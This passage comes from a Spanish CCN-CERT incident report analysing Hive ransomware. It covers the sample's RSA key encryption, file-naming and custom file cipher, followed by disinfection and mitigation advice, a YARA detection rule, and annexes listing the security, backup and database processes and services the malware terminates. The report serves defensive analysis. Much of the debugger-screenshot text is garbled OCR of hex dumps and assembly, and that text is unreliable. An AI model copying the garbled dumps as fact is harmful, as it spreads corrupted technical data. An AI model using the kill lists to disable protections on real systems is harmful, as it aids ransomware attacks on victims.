®|( 00000000004DA2CA H test rdi,rdi R12 000000C0000ACO00
00000000004DAZCD || .v 61 jne cor. ADA330 R13  0000000000000001
00000000004DA2CF :8B8C24 EO0D0D000 |Mmov rcx,qword ptr ss:lfrsp-eo] R14  000000CO0D0028000
00000000004DA2D7 1803419 lea rsi,qword ptr ds:[rcx+rox] rsi:pub_key_1 R15  0000000000000040 et
00000000004DAZDE :89E424 88000000 |mov gword ptr ss:[rsp-as],rsi rsi:pub_key_1
00000000004DA2ES 188EC24 ESO00000 |mov rdi,qword prr s=:[rsp-eq] o
00000000004DAZES :889424 DBO00000 |mov rdx,qword ptr ss:[rsp+D&]
00000000004DA2F3 139F7 emp rdi,rsi rsi:pub_key_1 + || Default (x64 fastcall)
nnanannnnnanaseell rar’ananns
a v 1: rcx 0DDDDODOO0SDEEA0 "€,X°
& 2: rdx
<cor.crypto_rsa_EncryptOAEP> 3: r8 000000C000100000 <KEY:>
4: r3 0000DO00OODOODSE
s [rsp+20] 0000000000586EAQ cor.0000000000586EA
. TeXt:00000000004DAZBS cor.exe: $DAZBS #D98BS <dMIVSKEP__ptr_GVE71Zbz_EXport+315>

Woumo2 | gloumps | 4houmes | gboumes | B wetchy | beliowls | stuct |

ASCIT 44 Dump1

00 [ C 0 00 00(01 00 01 00100 O 0_00 n..A. Address Hex

T e e e e b o 000000C000100000 |08 FO BC 00|C8 BC A4

Do LC 0 00 00|01 00 0 0L00 O 000 .ﬂ “ 000000C000100010 | EO 78 80 FB|6C 2B 5C

R R R R AT ST 000000C000100020|CC &C 70 70(70 38 50

Do LC 0 00 00|01 00 0: 0L00 O 000 n “ 000000C000100030 | FC B0 98 E4|08 38 A8 0 . H

RGP R TR RO R 000000CO00100040 |5C FO 55 CB[BO 80 48 24|AC 44 70 38|80 BC EO 40 \be HE-Dp, %
000000COD003E 280 TCoTDoTD 102004 Q0 00 30 A% % A 000000CO00100050 | 30 30 OC A4[BC 7D 74 DC|8C FC B4 24|6C 80 AC ES|.0.mupti.n.51.-e
ANANANCANANIE N | BN £C N2 NNl honn AN N nn N Ty R 000000C000100060 | 68 08 7C 0B|54 FB 00 D8|B8 FB8 48 40|BC 18 E4 DC |’| |.Te.8 eHe%. &0

Figura 21. EncryptOAEP
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Dicho proceso ira reconstruyendo la clave cifrada en memoria (en la siguiente
imagen, a partir de 0x000000C000600000).

5 camserer B <o it ime_sdrmoves = ——
: 4
: 53000000
: 28000000 RAX  DHRRNERIRHEANNERE
o Eeonoono REX  0000000000000100  L'A
. RCX  0000000000000160 A"
: ) DX 000D0OC00800000
. ‘80000000 RBP 000000C0005 SDDO8 &" px"
: [ rse  oooosocosossoc10
: 10010000 RSI  0DODDOC00O0D0700
! 50000000 Aol vodoioc
. 18010000 2 ‘ [
: 78
5000000000-0A122 || - 58010000
. 20010000 - [Default (x5 fastal)
« I » rcx 0000000000000100
rdx_000DOOC000600000
T d%=000000C 000600000, F& 0000D0000DO00000
qword ptr ss:[rsp+B0]=[000000C000S SDCCH]=000000C000E00000 rs 000000000000000E
[rsp+28] 00000D000OSDEEAD "€, X’
. Text:00D00000004DADE COr.exe: SDAODS #D9ED8 <AMTVSKEP__ptr_GVE71ZbZ_EXPOFT+138>
Woump? | Yyoump3 | Wioump4 | eWoumps | & wath1 | in-liocas | 7 stuct | wiowmp1 Dot o | 0000000000000
[ ey ~] 555550c 0005 5o 22 | apoooDaON0SDI3TE
000000C000500000[24 56 90 7 S T.sTE N, | & 2
000000COD0600010 | 9F S0 B3 qw vazark.o: e e e e
msme 8 e
299000C000600030 06 E8 FO L An DB-QIA 53000000005 50C43 | ID00OOCO00D35250 | <2
000000CO00600040 | 84 4C 97 o : 200000CD00S SDCE0 | 00000OCER0100000 | <KET>
200000C000600050 | 74 77 57 5000000005 5005 ¢ | 0DOGOOGOO000ORE
D00000CONDE000T0 53 AT BE 000000C0005 EDCED | 0000000000000010
010000C0000354C0
000000C000E000%0 | 8C 34 B Bodocaas0a0a00
000000C000§00090 | & 000000000000
0000D0CO00G000A0 | BA OC 63 e
000000C0006000BD | F7 C1 5A 000000000200000
000000CO006000C0 | 85 E6 37 000000000000008
000000C0008000D0 | 34 16 AZ 0000000000508
000D00CODDE000ED | 30 A5 AC 7 0000000000100
DO0000CO00E000FD| 34 03 AB e
000000C000600100| 00 00 00 00000Co00035250
gnogoocanneooitn| 00 05 o0 T o oo, o s
000000C0005 8OO | 000000CO00600000
200000cd0n500 10 [[00R0IE0NR00 [ 2050065502 20cc 2| 6800005000500000

Figura 22. Proceso de cifrado de la KEY

Tras finalizar el cifrado de la clave ésta serd guardada en disco con extension
.key.fayg2.

[—— T o Twriterile L Nide FPU.
Rax
tere 7aes
3¢ kernériz.rrezaese s
=y 1rs),eox j e

BSE  000000002787FDSS
RSI  000000002767F060
ROI  000000002787FDES

K8 0000000000127280 \
RS 000000C0005 SDEFC \
R0 000000000O000000 \

R11__ 0000000000030000 \

~ | Defoult (x5 fastcal) z]'s 1 ukex
Tox 0000000000000120 N

3! Fdx 000000C000600000

I 0000000000127280 N

0005 s08FC

4: r9 000000c|

:521F80 #21780 <writeriles

wooumps | 8 wern1 | ieltocas | P st | emoum
Tascrr

ex.
'000000€ 000600000 24
000C: 10 5F 30
000000€000600020! 8F 88 §
000000C 000600030 06
000000C000600040! 8A
000000C000600080| F4 77
000000C000600060) 42
000000C000600070) 53

1600090/ B1
000000C0006000A0! BA

0080, F7
000000C0006000C0 &3
200000€000600000) 34

Searchi Tyoe here 1o fter resits \ Lok 4

000000C0006000F D! BA
000000C000600100) 67 8
000000C000600110) 36

000000C000600120 65 9%

\Device\nardds
\Device\KsecoD

000000C000600130, €5 oo isuice s

000000C000600140) 42 |25 3€ [ipeviceinarddt:

000000C000600150) F3 80 |os 1€ 5|

000000C000600160| E7 6|81 7% 3 s 1 ) s \REGISTRY\MACHINE \ SOFTWARE i crosof t\windows NT\Currentversion\Inage File Execution Options
000000C000600170| €3 18 AF B84[D2 C3 64 63|34 C1 22 DD (€0 80 76 83| ¢."*6Adz. A"Va. 20019 JREGISTRVAMA IINE SYSTEM: CONLs 01 S2T001\CONraT 154 S0r T1noLVers 1005

Figura 23. Escritura de la clave cifrada en disco

El nombre de la key se formard como resultado de convertir a base64 16 bytes
aleatorios por medio de la APl EncodeToString.

|mov raTiril mov raf,r11

l‘ » ” Besess_per_sncading. encoderostrings G <cor.encosing basees_er_Encading EncodeTostring:
S R e % oy auord DT ';""!

| scorhazracn g Jmm;xuxwrlw (func2> S8 e0i00 o gra‘,.,..:““ g 2iasniza_sxortkey. funcas

[Zeor encoding_paie r_Encodin = Od DTr 551 [75+00]=[000000C 0008 800EE1=41 "A"
Cor - encoding a3 64 _ptr_Encoding_EncodeTostr 1ng> axo e TR OIS (0000000 MOOL T A e eescamar

£ext:0000000000540C80 COr-. exe: S140CE0 4140280 <Bq1fecHR_ptr_DHEN1Za_Exportkeyriz0s +TeXT:0000000000540C85 COF . exe: $140CH5 #140285 <BQ1TeVR__pTr_DHQENTZQ_EXPOrTXEY+125>

o2 | nms»] w0 | Eoums | 8 waxh1 | ieitocis | J su | $owo

A -
- - [5370 32 1@ 3, 30 381 51 53 59 Benusemolaey
1 04 O ED A4 55 )3 95 04 18|7C 17 &7 30 a i
| G 0 42 4170 34 30 45|48 &
cocsrnoaz 8¢ 86196 ° €c 80/00 A8 58 04 8 © 42 0201430 W <
200000c00009¢ 180 43 03 03 03|33 03 30 33|33 3 30 00 00 00/7. e o
300000<00000€ 100 41 00 00 03|43 00 00 00|52 03 00 00|33 00 03 03|A.

] MyEY_HOV/_TO_DECRYPT 1xt S
| [FH Ok WOBIQQ VB ankMBIpROEKLEFmH _ACOWAT ey fayg2

L 2sACOWAT_FuhiYqCSwil.fayg2

Figura 24. Nombre baseé4 aleatorio
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La siguiente imagen muestra parte de la funcién responsable de llevar a cabo el
cifrado de ficheros el cual parece tratarse de un algoritmo personalizado.

movzx risd,byte ptr ds:[rsiral alg_encrypt
00000000004DAD 1D xor risd,risd
« | 00000000004DAD20 xor rizd,risd
| 00000000004DAD23 mov byte ptr ss:lrsprrdxresll, rizb
o | 00000000004DAD23B inc edx
o || 00000000DD4DAD2A mov rsd,ebx
00000000004DAD2D cmp eax, edx
000000000DADAD2F OF86 3GFFFFFF jbe cor.4DACGE
0000000000402025 || . | 66:0F1F8400 00DOOC0D r'or: word ptr ds:[rax+rax],ax
66:50
b ra,1000
- nraz 82000000 jae cor.4DAEDS
|l 0000000000404D40 || . movzx rizd,byte ptr ss:lirsprrdx+esl
e || 00000000004DADS3 || Tea ri3d,qward ptr ds: (rdx-r8] rdx+r8+1: " PE"
o | oooooooooo4pans7 (| . mov risd,risd
o || 00000000004DADEA || shr
e | ooooooooo04paDsE || - mov ebx,rsd
0000o0ooo04panee| | - mov_red,AD70AZE
o | oooooooooo4panss || -
o || oooooooooo4paneal| .
o || 00oooooooo4paDsE || imul r13d r12d,19000
o | oooooooooo4panys (] . d
0000000000407 3| | -
|l 0000000000404D7E || . rax+rax],eax
e || 00000000004pAD S0 || -
| « | oooooooooo4panss || .-
H || coooooonoo4apapas (| . movzx ri3d byte ptr ds:[ri5+ri1]
i 0000000000400 8A | | - MoV r15d,ARAAAAAR
| » | oooooooooo4paDso || - ima ris,rsi
1 o | 0ooooo00004DAD 94 (| shr r1:
| o || oooooooooo4panss || . Jea rizd, qwur-a pEr ds:[ri5+ri52]
| o [ 0ooooooooo4papaC || . shl risd
| o [ 00000000004DADAD| | . sub esi, r1su
i o || 00000000004DADAS (| . | 48:39cE cmp rsigrex
! 2046 || .~LoFs2” ecFrrFFF b <cor.alg_encrypt>

Figura 25. Algoritmo de cifrado

Por cada archivo, su contenido sera cargado en memoria por medio de la funcién
ReadFile, se aplicara el cifrado previamente mostrado y se guardard el ciphertext
resultante en el fichero. La siguiente imagen muestra el resultado de cifrar el fichero

profile.jpg.
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000000C 0005 84088 100000C000584D84 [ FS E7 45 CA|13 60 4E D3|DE FB 27 3C|AF 35 88 DD| 6¢EE. NdDu‘< 5.¥
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=
A2 FA F2 52|52 AA 72 5A|6A 4A SE 66|E2 B2 43 68| cibRR=rzjIATa=Ch
30 €9 FC 03|43 63 DC D7 |43 DA 24 C2|51 4D 17 Al OEM C:LMIUSAQM-\

000000C000584E38
000000C0005 34548
000000C000584E58
000000C000584E68 | 0
000000C0005 34578

000000C0005 84E83 | O
000000C000584E98
000000C0005 34EAS
000000C0005 84E88
000000C0005 845CE

000000C 0005 84508
000000C0005 84€E | 9 A
000000C0005 84EF S 38 32 2F 19|10 57 A9 A7 (57 OB 93 23|32 A5 E4 44 82/. JWBSW. . #2%3D
000000C0D00584F08 | S 8B 96 EA 17 |5C EO C8 5B|7E 81 41 50|D7 &C DC 4 }aE[ AF)ﬂUC
000000C0005 84518 .

000000C0005 84F 28
000000C0005 84738

4 010 Editor - C:\

- —~
File Ed @U ). » Computer » Local Disk () » Test -4
| I 4

Startup Speoq|jPhEi5 DZ9cf_WVIGXc

&
4|z 2a A CB|
300000C00038472d| 73 20 23 i3 25 1 Dc 55 & 51 oF|ef 06 fe Elt—zyﬂ.

Organize v [ Open  Newfolder
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Figura 26. Cifrado del fichero profile.jpg
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6. DESINFECCION

Dado que la variante analizada no adquiere persistencia, los equipos afectados
con Hive no requieren de una rutina de desinfeccion mas alla de reiniciar el sistema o
finalizar el proceso vinculado con el ransomware. Cabe destacar que, aunque el propio
binario daifiino no implementa funcionalidades de persistencia, el conjunto de TTPs
empleadas por los atacantes para proceder con el despliegue del ransomware si que
puede involucrar otros componentes o técnicas para garantizar la persistencia del
actor; por ejemplo, otros binarios dafiinos, cuentas de usuarios en el dominio a modo
de backdoor, Golden tickets, vulnerabilidades en un servicio expuesto, etc.

El proceso de respuesta a incidentes tendra que investigar y analizar de forma
meticulosa el vector de entrada, asi como el conjunto de TTPs empleado por los
atacantes para garantizar que la mitigacion ha sido efectiva y para evitar la repeticidén
del ataque.

Respecto al descifrado de los ficheros, el modelo de criptografia utilizado
asegura que el Unico método factible para el descifrado sea mediante el uso de las
claves privadas RSA en manos del grupo cibercriminal.

7. MITIGACION

La manera mas estratégica para contener y reducir el impacto del ransomware es
trabajar de forma paralela en el aislado de redes/VLAN que conforman la entidad
afectada (con el objetivo de contener los segmentos de red con equipos infectados y
evitar su expansion) y en el rotado de contrasefas en el dominio. Dicho rotado debe
incluir las cuentas locales de administrador (es importante que sean Unicas para cada
equipo) asi como la cuenta KRBTGT del dominio.

Téngase en cuenta que estas medidas posiblemente interfieran con el correcto
funcionamiento del dominio o redes afectadas y puedan causar diversos imprevistos
(por ejemplo, el reinicio de maquinas); no obstante, permitiria contener la amenaza de
una manera resolutiva.

Centro Criptolégico Nacional USO OFICIAL




USO OFICIAL CN i cm

CCN-CERT ID-XX/21 Caddigo Dafiino HIVE Ransomware centro ariptolégico nadonal

8. REGLAS DE DETECCION
8.1. REGLA DE YARA

La siguiente regla, disponible en Github [13], permite identificar la muestra
actual, asi como otras variantes pertenecientes a la misma familia.

rule MALWARE_Win_Hive {

meta:
author = "ditekSHen"
description = "Detects Hive ransomware"

strings:
Surll = "http://hivecust" ascii
Surl2 = "http://hiveleakdb" ascii
Ss1 ="encrypt_files.go" ascii
Ss2 = "erase_key.go" ascii
Ss3 = "kill_processes.go" ascii
Ss4 = "remove_shadow_copies.go" ascii
Ss5 = "stop_services_windows.go" ascii
Ss6 = "remove_itself windows.go" ascii
Sx1 = "/encryptor/" ascii
$x2 = "HOW_TO_DECRYPT.txt" ascii
Sx3 = "FilesEncrypted" fullword ascii
Sx4 = "EncryptionStarted" fullword ascii
Sx5 = "encryptFilesGroup" fullword ascii
Sx6 = "Your data will be undecryptable" ascii
Sx7 ="- Do not fool yourself. Encryption has perfect secrecy" ascii
Svl_1 =".EncryptFiles." ascii
Svl_2 =".EncryptFilename." ascii
Svl_3 =")*struct { F uintptr; .autotmp_14 string }" ascii
Svl_4 ="D*struct { F uintptr; data *[Juint8; seed *uint8; fnc *main.decFunc }" ascii
Svl_5 ="golang.org/x/sys/windows.getSystemWindowsDirectory" ascii
Svl_6 = "path/filepath.WalkDir" ascii

condition:
uint16(0) == 0x5a4d and (all of (Surl*) or all of (Ss*) or 4 of ($x*) or 5 of (Sv1*))
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ANEXO A

Listado de procesos a finalizar:

agntsvc

sql
CNTAoSMgr
dbeng50
dbsnmp
encsvc
excel
firefoxconfig
infopath
mbamtray
msaccess
mspub
mydesktop
Ntrtscan
ocautoupds
ocomm
ocssd
onenote
oracle
outlook
PccNTMon
powerpnt
sgbcoreservice
steam
synctime
tbirdconfig
thebat
thunderbird
tmlisten
visio

word
xfssvccon
zoolz

Listado de servicios a finalizar:

acronis
AcrSch2Svc
Antivirus

ARSM

AVP

backup

bedbg
CAARCUpdateSvc
CASAD2DWebSvc
ccEvtMgr
ccSetMgr
Culserver

dbeng8

dbsrv12

DCAgent
DefWatch
EhttpSrv
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ekrn

Enterprise Client Service
EPSecurityService
EPUpdateService
EraserSvc11710
EsgShKernel
ESHASRV
FA_Scheduler
firebird

IISAdmin
IMAP4Svc

Intuit

KAVFS

KAVFSGT

kavfsslp

klnagent
macmnsvc

masvc
MBAMService
MBEndpointAgent
McAfee

McShield
McTaskManager
memtas

mepocs

mfefire

mfemms

mfevtp

MMS
MsDtsServer
MsDtsServer100
MsDtsServer110
msexchange
msmdsrv
MSOLAP
MVArmor
MVarmor64
NetMsmgActivator
ntrtscan

oracle
PDVFSService
POP3Svc
postgres
QBCFMonitorService
QBFCService
QBIDPService
redis

report

RESvc

RTVscan

sacsvr

SamSs
SAVAdminService
SavRoam
SAVService
SDRSVC
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SepMasterService
ShMonitor
Smcinst
SmcService
SMTPSvc
SNAC
SntpService
sophos

sql

SstpSvc
stc_raw_agent
Asvc

SWi_
Symantec
TmCCSF
tmlisten
tomcat
TrueKey
UlODetect
veeam
vmware

Vss

W3Svc
wbengine
WebClient
wrapper
WRSVC
WSBExchange
YoolT
zhudongfangyu
Zoolz
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